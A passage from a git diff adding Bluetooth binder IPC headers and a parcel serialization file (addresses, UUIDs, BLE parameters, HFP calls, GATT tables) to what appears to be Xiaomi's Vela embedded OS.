AIBinder_Class* clazz; + AIBinder* binder; +} BpBtPan; + +typedef enum { + IPAN_REGISTER_CALLBACK = FIRST_CALL_TRANSACTION, + IPAN_UNREGISTER_CALLBACK, + IPAN_CONNECT, + IPAN_DISCONNECT +} IBtPan_Call; + +#define PAN_BINDER_INSTANCE "Vela.Bluetooth.Pan" + +binder_status_t BtPan_addService(IBtPan* pan, const char* instance); +AIBinder* BtPan_getService(BpBtPan** bpPan, const char* instance); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_PAN_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/scanner_callbacks_proxy.h b/service/ipc/binder/include/scanner_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..809ec2078d590726711eac9e4d7df93610484649 --- /dev/null +++ b/service/ipc/binder/include/scanner_callbacks_proxy.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __SCANNER_CALLBACKS_PROXY_H__ +#define __SCANNER_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_le_scan.h" + +#include <android/binder_manager.h> + +const scanner_callbacks_t* BpBtScannerCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __SCANNER_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/scanner_callbacks_stub.h b/service/ipc/binder/include/scanner_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..6a966fad1920ae3a64f7a9629004a963495e853a --- /dev/null +++ b/service/ipc/binder/include/scanner_callbacks_stub.h @@ -0,0 +1,52 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __SCANNER_CALLBACKS_STUB_H__ +#define __SCANNER_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_le_scan.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const scanner_callbacks_t* callbacks; + void* cookie; +} IBtScannerCallbacks; + +typedef enum { + ICBKS_ON_SCAN_RESULT = FIRST_CALL_TRANSACTION, + ICBKS_ON_SCAN_START_STATUS, + ICBKS_ON_SCAN_STOPPED, +} IBtScannerCallbacks_Call; + +AIBinder* BtScannerCallbacks_getBinder(IBtScannerCallbacks* adver); +binder_status_t BtScannerCallbacks_associateClass(AIBinder* binder); +IBtScannerCallbacks* BtScannerCallbacks_new(const scanner_callbacks_t* callbacks); +void BtScannerCallbacks_delete(IBtScannerCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __SCANNER_CALLBACKS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/spp_callbacks_proxy.h b/service/ipc/binder/include/spp_callbacks_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..7fa2b28b923efceb0328c4a6f61872b85fb77044 --- /dev/null +++ b/service/ipc/binder/include/spp_callbacks_proxy.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __SPP_CALLBACKS_PROXY_H__ +#define __SPP_CALLBACKS_PROXY_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_spp.h" + +#include <android/binder_manager.h> + +const spp_callbacks_t* BpBtSppCallbacks_getStatic(void); + +#ifdef __cplusplus +} +#endif +#endif /* __SPP_CALLBACKS_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/spp_callbacks_stub.h b/service/ipc/binder/include/spp_callbacks_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..c3360708469896f8ac1e73bf989932b822569259 --- /dev/null +++ b/service/ipc/binder/include/spp_callbacks_stub.h @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __SPP_CALLBACKS_STUB_H__ +#define __SPP_CALLBACKS_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_spp.h" +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + const spp_callbacks_t* callbacks; + void* cookie; +} IBtSppCallbacks; + +typedef enum { + ICBKS_SPP_CONNECTION_STATE = FIRST_CALL_TRANSACTION, + ICBKS_PTY_OPEN, +} IBtSppCallbacks_Call; + +AIBinder* BtSppCallbacks_getBinder(IBtSppCallbacks* adapter); +binder_status_t BtSppCallbacks_associateClass(AIBinder* binder); +IBtSppCallbacks* BtSppCallbacks_new(const spp_callbacks_t* callbacks); +void BtSppCallbacks_delete(IBtSppCallbacks* cbks); + +#ifdef __cplusplus +} +#endif +#endif /* __SPP_CALLBACKS_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/spp_proxy.h b/service/ipc/binder/include/spp_proxy.h new file mode 100644 index 0000000000000000000000000000000000000000..352ca44485a2f7912a6ccdffa8fe0b400812d55b --- /dev/null +++ b/service/ipc/binder/include/spp_proxy.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_SPP_PROXY_H__ +#define __BT_SPP_PROXY_H__ + +#include "spp_stub.h" +#include <android/binder_manager.h> +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +BpBtSpp* BpBtSpp_new(const char* instance); +void BpBtSpp_delete(BpBtSpp* bpSpp); +void* BpBtSpp_registerApp(BpBtSpp* bpBinder, AIBinder* cbksBinder); +bt_status_t BpBtSpp_unRegisterApp(BpBtSpp* bpBinder, void* handle); +bt_status_t BpBtSpp_serverStart(BpBtSpp* bpBinder, void* handle, uint16_t scn, bt_uuid_t* uuid, uint8_t maxConnection); +bt_status_t BpBtSpp_serverStop(BpBtSpp* bpBinder, void* handle, uint16_t scn); +bt_status_t BpBtSpp_connect(BpBtSpp* bpBinder, void* handle, bt_address_t* addr, int16_t scn, bt_uuid_t* uuid, uint16_t* port); +bt_status_t BpBtSpp_disconnect(BpBtSpp* bpBinder, void* handle, bt_address_t* addr, uint16_t port); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_SPP_PROXY_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/include/spp_stub.h b/service/ipc/binder/include/spp_stub.h new file mode 100644 index 0000000000000000000000000000000000000000..638bfd2ef4bd302cc1a0171578681a31ebd4e134 --- /dev/null +++ b/service/ipc/binder/include/spp_stub.h @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_SPP_STUB_H__ +#define __BT_SPP_STUB_H__ + +#include <stdbool.h> +#include <stdint.h> +#include <uchar.h> + +#ifdef __cplusplus +extern "C" { +#endif + +#include <android/binder_manager.h> + +typedef struct { + AIBinder_Class* clazz; + AIBinder_Weak* WeakBinder; + void* usr_data; +} IBtSpp; + +typedef struct { + AIBinder_Class* clazz; + AIBinder* binder; +} BpBtSpp; + +typedef enum { + ISPP_REGISTER_APP = FIRST_CALL_TRANSACTION, + ISPP_UNREGISTER_APP, + ISPP_SERVER_START, + ISPP_SERVER_STOP, + ISPP_CONNECT, + ISPP_DISCONNECT +} IBtSpp_Call; + +#define SPP_BINDER_INSTANCE "Vela.Bluetooth.Spp" + +binder_status_t BtSpp_addService(IBtSpp* spp, const char* instance); +AIBinder* BtSpp_getService(BpBtSpp** bpSpp, const char* instance); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_SPP_STUB_H__ */ \ No newline at end of file diff --git a/service/ipc/binder/parcel/parcel.c b/service/ipc/binder/parcel/parcel.c new file mode 100644 index 0000000000000000000000000000000000000000..3af21664fffec71089291e8130df815c07f88f5a --- /dev/null +++ b/service/ipc/binder/parcel/parcel.c @@ -0,0 +1,800 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <assert.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "parcel.h" + +static bool AParcelUtils_nameAllocator(void* stringData, int32_t length, char** buffer) +{ + return true; +} + +static bool AParcelUtils_stringNoAlloc(void* stringData, int32_t length, char** buffer) +{ + if (length == -1 || buffer == NULL) + return true; + + *buffer = stringData; + + return true; +} + +/** + * @brief Address parcel + * + * @param arrayData + * @param length + * @param outBuffer + * @return true + * @return false + */ + +static bool AParcelUtils_addressAllocator(void* arrayData, int32_t length, int8_t** outBuffer) +{ + assert(length == BT_ADDR_LENGTH); + *outBuffer = arrayData; + + return true; +} + +binder_status_t AParcel_writeAddress(AParcel* parcel, bt_address_t* addr) +{ + return AParcel_writeByteArray(parcel, (const int8_t*)addr->addr, BT_ADDR_LENGTH); +} + +binder_status_t AParcel_readAddress(const AParcel* parcel, bt_address_t* addr) +{ + return AParcel_readByteArray(parcel, addr->addr, AParcelUtils_addressAllocator); +} + +static binder_status_t AParcel_writeParcelableAddress(AParcel* parcel, const void* arrayData, + size_t index) +{ + bt_address_t* addr = (bt_address_t*)arrayData + index; + + return AParcel_writeAddress(parcel, addr); +} + +binder_status_t AParcel_writeAddressArray(AParcel* parcel, bt_address_t* addr, int32_t length) +{ + binder_status_t stat = AParcel_writeInt32(parcel, length); + if (stat != STATUS_OK) + return stat; + + return AParcel_writeParcelableArray(parcel, (void*)addr, length, AParcel_writeParcelableAddress); +} + +static binder_status_t AParcel_readParcelableAddress(const AParcel* parcel, void* arrayData, + size_t index) +{ + bt_address_t* addr = (bt_address_t*)arrayData + index; + + return AParcel_readAddress(parcel, addr); +} + +static bool AParcel_parcelableAddressAllocator(void* arrayData, int32_t length) +{ + return true; +} + +binder_status_t AParcel_readAddressArray(const AParcel* parcel, bt_address_t** addr, int32_t* length, bt_allocator_t allocator) +{ + binder_status_t stat = AParcel_readInt32(parcel, length); + if (stat != STATUS_OK) + return stat; + + if (*length == 0) + return STATUS_OK; + + if (!allocator((void**)addr, sizeof(bt_address_t) * (*length))) + return STATUS_NO_MEMORY; + + return AParcel_readParcelableArray(parcel, (void*)*addr, + AParcel_parcelableAddressAllocator, + AParcel_readParcelableAddress); +} + +binder_status_t AParcel_readName(AParcel* parcel, char* name) +{ + return AParcel_readString(parcel, name, AParcelUtils_nameAllocator); +} + +/** + * @brief UUID parcel + * + * @param arrayData + * @param length + * @param outBuffer + * @return true + * @return false + */ +static bool AParcelUtils_uuidAllocator(void* arrayData, int32_t length, int8_t** outBuffer) +{ + assert(length == 16); + *outBuffer = arrayData; + + return true; +} + +binder_status_t AParcel_writeUuid(AParcel* parcel, bt_uuid_t* uuid) +{ + binder_status_t stat; + + if (uuid == NULL) { + stat = AParcel_writeUint32(parcel, 0); + return stat; + } + + stat = AParcel_writeUint32(parcel, uuid->type); + if (stat != STATUS_OK) + return stat; + + if (uuid->type == BT_UUID16_TYPE) + stat = AParcel_writeUint32(parcel, (uint32_t)uuid->val.u16); + else if (uuid->type == BT_UUID32_TYPE) + stat = AParcel_writeUint32(parcel, uuid->val.u32); + else if (uuid->type == BT_UUID128_TYPE) + stat = AParcel_writeByteArray(parcel, (const int8_t*)uuid->val.u128, 16); + else + stat = STATUS_BAD_TYPE; + + return stat; +} + +binder_status_t AParcel_readUuid(const AParcel* parcel, bt_uuid_t* uuid) +{ + binder_status_t stat; + uint32_t uuid32; + + stat = AParcel_readUint32(parcel, &uuid->type); + if (stat != STATUS_OK) + return stat; + + if (uuid->type == 0) { + stat = STATUS_OK; + } else if (uuid->type == BT_UUID16_TYPE) { + stat = AParcel_readUint32(parcel, &uuid32); + uuid->val.u16 = uuid32; + } else if (uuid->type == BT_UUID32_TYPE) { + stat = AParcel_readUint32(parcel, &uuid32); + uuid->val.u32 = uuid32; + } else if (uuid->type == BT_UUID128_TYPE) + stat = AParcel_readByteArray(parcel, uuid->val.u128, AParcelUtils_uuidAllocator); + else + stat = STATUS_BAD_TYPE; + + return stat; +} + +static binder_status_t AParcel_writeParcelableUuid(AParcel* parcel, const void* arrayData, + size_t index) +{ + bt_uuid_t* uuid = (bt_uuid_t*)arrayData + index; + + return AParcel_writeUuid(parcel, uuid); +} + +binder_status_t AParcel_writeUuidArray(AParcel* parcel, bt_uuid_t* uuid, int32_t length) +{ + binder_status_t stat = AParcel_writeInt32(parcel, length); + if (stat != STATUS_OK) + return stat; + + return AParcel_writeParcelableArray(parcel, (void*)uuid, length, AParcel_writeParcelableUuid); +} + +static binder_status_t AParcel_readParcelableUuid(const AParcel* parcel, void* arrayData, + size_t index) +{ + bt_uuid_t* uuid = *(bt_uuid_t**)arrayData + index; + + return AParcel_readUuid(parcel, uuid); +} + +static bool AParcel_parcelableUuidAllocator(void* arrayData, int32_t length) +{ + char* p = malloc(sizeof(bt_uuid_t) * length); + *(char**)arrayData = p; + + return true; +} + +binder_status_t AParcel_readUuidArray(const AParcel* parcel, bt_uuid_t* uuid, int32_t* length) +{ + binder_status_t stat = AParcel_readInt32(parcel, length); + if (stat != STATUS_OK) + return stat; + + return AParcel_readParcelableArray(parcel, (void*)uuid, + AParcel_parcelableUuidAllocator, + AParcel_readParcelableUuid); +} + +/** + * @brief Ble connect param parcel + * + * @param parcel + * @param param + * @return binder_status_t + */ +binder_status_t AParcel_writeBleConnectParam(AParcel* parcel, ble_connect_params_t* param) +{ + binder_status_t stat = STATUS_OK; + + stat = AParcel_writeUint32(parcel, param->filter_policy); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeBool(parcel, param->use_default_params); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, param->init_phy); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)param->scan_interval); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)param->scan_window); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)param->connection_interval_min); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)param->connection_interval_max); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)param->connection_latency); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)param->supervision_timeout); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)param->min_ce_length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)param->max_ce_length); + if (stat != STATUS_OK) + return stat; + + return stat; +} + +binder_status_t AParcel_readBleConnectParam(const AParcel* parcel, ble_connect_params_t* param) +{ + binder_status_t stat = STATUS_OK; + uint32_t u32Val; + + stat = AParcel_readUint32(parcel, ¶m->filter_policy); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(parcel, ¶m->use_default_params); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, ¶m->init_phy); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &u32Val); + if (stat != STATUS_OK) + return stat; + param->scan_interval = (uint16_t)u32Val; + + stat = AParcel_readUint32(parcel, &u32Val); + if (stat != STATUS_OK) + return stat; + param->scan_window = (uint16_t)u32Val; + + stat = AParcel_readUint32(parcel, &u32Val); + if (stat != STATUS_OK) + return stat; + param->connection_interval_min = (uint16_t)u32Val; + + stat = AParcel_readUint32(parcel, &u32Val); + if (stat != STATUS_OK) + return stat; + param->connection_interval_max = (uint16_t)u32Val; + + stat = AParcel_readUint32(parcel, &u32Val); + if (stat != STATUS_OK) + return stat; + param->connection_latency = (uint16_t)u32Val; + + stat = AParcel_readUint32(parcel, &u32Val); + if (stat != STATUS_OK) + return stat; + param->supervision_timeout = (uint16_t)u32Val; + + stat = AParcel_readUint32(parcel, &u32Val); + if (stat != STATUS_OK) + return stat; + param->min_ce_length = (uint16_t)u32Val; + + stat = AParcel_readUint32(parcel, &u32Val); + if (stat != STATUS_OK) + return stat; + param->max_ce_length = (uint16_t)u32Val; + + return stat; +} + +binder_status_t AParcel_writeCall(AParcel* parcel, hfp_current_call_t* call) +{ + binder_status_t stat = STATUS_OK; + + stat = AParcel_writeInt32(parcel, call->index); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, call->dir); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, call->state); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, call->mpty); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeString(parcel, call->number, strlen(call->number)); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeString(parcel, call->name, call->name ? strlen(call->name) : -1); + if (stat != STATUS_OK) + return stat; + + return stat; +} + +binder_status_t AParcel_readCall(const AParcel* parcel, hfp_current_call_t* call) +{ + binder_status_t stat = STATUS_OK; + + stat = AParcel_readInt32(parcel, &call->index); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &call->dir); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &call->state); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &call->mpty); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(parcel, (void*)call->number, AParcelUtils_stringNoAlloc); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(parcel, (void*)call->name, AParcelUtils_stringNoAlloc); + if (stat != STATUS_OK) + return stat; + + return stat; +} + +static binder_status_t AParcel_writeParcelableCall(AParcel* parcel, const void* arrayData, + size_t index) +{ + hfp_current_call_t* call = (hfp_current_call_t*)arrayData + index; + + return AParcel_writeCall(parcel, call); +} + +binder_status_t AParcel_writeCallArray(AParcel* parcel, hfp_current_call_t* calls, int32_t length) +{ + binder_status_t stat = AParcel_writeInt32(parcel, length); + if (stat != STATUS_OK) + return stat; + + return AParcel_writeParcelableArray(parcel, (void*)calls, length, AParcel_writeParcelableCall); +} + +static binder_status_t AParcel_readParcelableCall(const AParcel* parcel, void* arrayData, + size_t index) +{ + hfp_current_call_t* call = (hfp_current_call_t*)arrayData + index; + + return AParcel_readCall(parcel, call); +} + +static bool AParcel_parcelableCallAllocator(void* arrayData, int32_t length) +{ + return true; +} + +binder_status_t AParcel_readCallArray(const AParcel* parcel, hfp_current_call_t** calls, int32_t* length, bt_allocator_t allocator) +{ + binder_status_t stat = AParcel_readInt32(parcel, length); + if (stat != STATUS_OK) + return stat; + + if (*length == 0) + return STATUS_OK; + + if (!allocator((void**)calls, sizeof(hfp_current_call_t) * (*length))) + return STATUS_NO_MEMORY; + + return AParcel_readParcelableArray(parcel, (void*)*calls, + AParcel_parcelableCallAllocator, + AParcel_readParcelableCall); +} + +/** + * @brief Ble adv param parcel + * + * @param parcel + * @param param + * @return binder_status_t + */ + +binder_status_t AParcel_writeBleAdvParam(AParcel* parcel, ble_adv_params_t* param) +{ + binder_status_t stat = STATUS_OK; + + stat = AParcel_writeUint32(parcel, param->adv_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeAddress(parcel, ¶m->peer_addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, param->peer_addr_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeAddress(parcel, ¶m->own_addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, param->own_addr_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, param->interval); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeByte(parcel, param->tx_power); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, param->channel_map); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, param->filter_policy); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, param->duration); + if (stat != STATUS_OK) + return stat; + + return stat; +} + +binder_status_t AParcel_readBleAdvParam(const AParcel* parcel, ble_adv_params_t* param) +{ + binder_status_t stat = STATUS_OK; + + stat = AParcel_readUint32(parcel, ¶m->adv_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readAddress(parcel, ¶m->peer_addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, ¶m->peer_addr_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readAddress(parcel, ¶m->own_addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, ¶m->own_addr_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, ¶m->interval); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByte(parcel, ¶m->tx_power); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, ¶m->channel_map); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, ¶m->filter_policy); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, ¶m->duration); + if (stat != STATUS_OK) + return stat; + + return stat; +} + +/* +bt_address_t addr; + bt_device_type_t dev_type; + int8_t rssi; + ble_addr_type_t addr_type; + ble_adv_type_t adv_type; + uint8_t length; + char adv_data[1]; +*/ + +static bool AParcelUtils_advDataAllocator(void* arrayData, int32_t length, int8_t** outBuffer) +{ + assert(length <= 0xFF); + *outBuffer = arrayData; + + return true; +} + +binder_status_t AParcel_writeBleScanResult(AParcel* parcel, ble_scan_result_t* result) +{ + binder_status_t stat = STATUS_OK; + + stat = AParcel_writeUint32(parcel, result->length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeByteArray(parcel, (const int8_t*)result->adv_data, result->length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, result->adv_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, result->dev_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, result->addr_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeAddress(parcel, &result->addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeByte(parcel, result->rssi); + if (stat != STATUS_OK) + return stat; + + return stat; +} + +binder_status_t AParcel_readBleScanResult(const AParcel* parcel, ble_scan_result_t** outResult) +{ + binder_status_t stat = STATUS_OK; + uint32_t length = 0; + ble_scan_result_t* result; + + stat = AParcel_readUint32(parcel, &length); + if (stat != STATUS_OK) + return stat; + + result = malloc(sizeof(ble_scan_result_t) + length); + if (!result) + return STATUS_NO_MEMORY; + + result->length = length; + stat = AParcel_readByteArray(parcel, result->adv_data, AParcelUtils_advDataAllocator); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &result->adv_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &result->dev_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &result->addr_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readAddress(parcel, &result->addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByte(parcel, &result->rssi); + if (stat != STATUS_OK) + return stat; + + *outResult = result; + + return stat; +} + +static binder_status_t AParcel_writeAttribute(AParcel* parcel, gatt_attr_db_t* attribute) +{ + binder_status_t stat; + + stat = AParcel_writeByte(parcel, attribute->handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUuid(parcel, attribute->uuid); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, attribute->type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, attribute->properties); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, attribute->permissions); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, attribute->rsp_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)attribute->read_cb); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, (uint32_t)attribute->write_cb); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeByteArray(parcel, (const int8_t*)attribute->attr_value, attribute->attr_length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(parcel, attribute->attr_length); + if (stat != STATUS_OK) + return stat; + + return stat; +} + +static binder_status_t AParcel_writeParcelableAttribute(AParcel* parcel, const void* arrayData, + size_t index) +{ + gatt_attr_db_t* attribute = (gatt_attr_db_t*)arrayData + index; + + return AParcel_writeAttribute(parcel, attribute); +} + +binder_status_t AParcel_writeServiceTable(AParcel* parcel, gatt_attr_db_t* attribute, int32_t length) +{ + binder_status_t stat = AParcel_writeInt32(parcel, length); + if (stat != STATUS_OK) + return stat; + + return AParcel_writeParcelableArray(parcel, (void*)attribute, length, AParcel_writeParcelableAttribute); +} + +static binder_status_t AParcel_readAttribute(const AParcel* parcel, gatt_attr_db_t* attribute) +{ + binder_status_t stat = STATUS_OK; + + stat = AParcel_readByte(parcel, (int8_t*)&attribute->handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUuid(parcel, attribute->uuid); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &attribute->type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &attribute->properties); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &attribute->permissions); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &attribute->rsp_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, (uint32_t*)&attribute->read_cb); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, (uint32_t*)&attribute->write_cb); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(parcel, (void*)&attribute->attr_value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(parcel, &attribute->attr_length); + if (stat != STATUS_OK) + return stat; + + return stat; +} + +static binder_status_t AParcel_readParcelableAttribute(const AParcel* parcel, void* arrayData, + size_t index) +{ + gatt_attr_db_t* attribute = (gatt_attr_db_t*)arrayData + index; + + attribute->uuid = malloc(sizeof(bt_uuid_t)); + if (!attribute->uuid) + return STATUS_NO_MEMORY; + + return AParcel_readAttribute(parcel, attribute); +} + +static bool AParcel_parcelableAttributeAllocator(void* arrayData, int32_t length) +{ + return true; +} + +binder_status_t AParcel_readServiceTable(const AParcel* parcel, gatt_attr_db_t** attribute, int32_t* length) +{ + binder_status_t stat = AParcel_readInt32(parcel, length); + if (stat != STATUS_OK) + return stat; + + if (*length == 0) + return STATUS_OK; + + *attribute = malloc(sizeof(gatt_attr_db_t) * (*length)); + if (!(*attribute)) + return STATUS_NO_MEMORY; + + memset(*attribute, 0, sizeof(gatt_attr_db_t) * 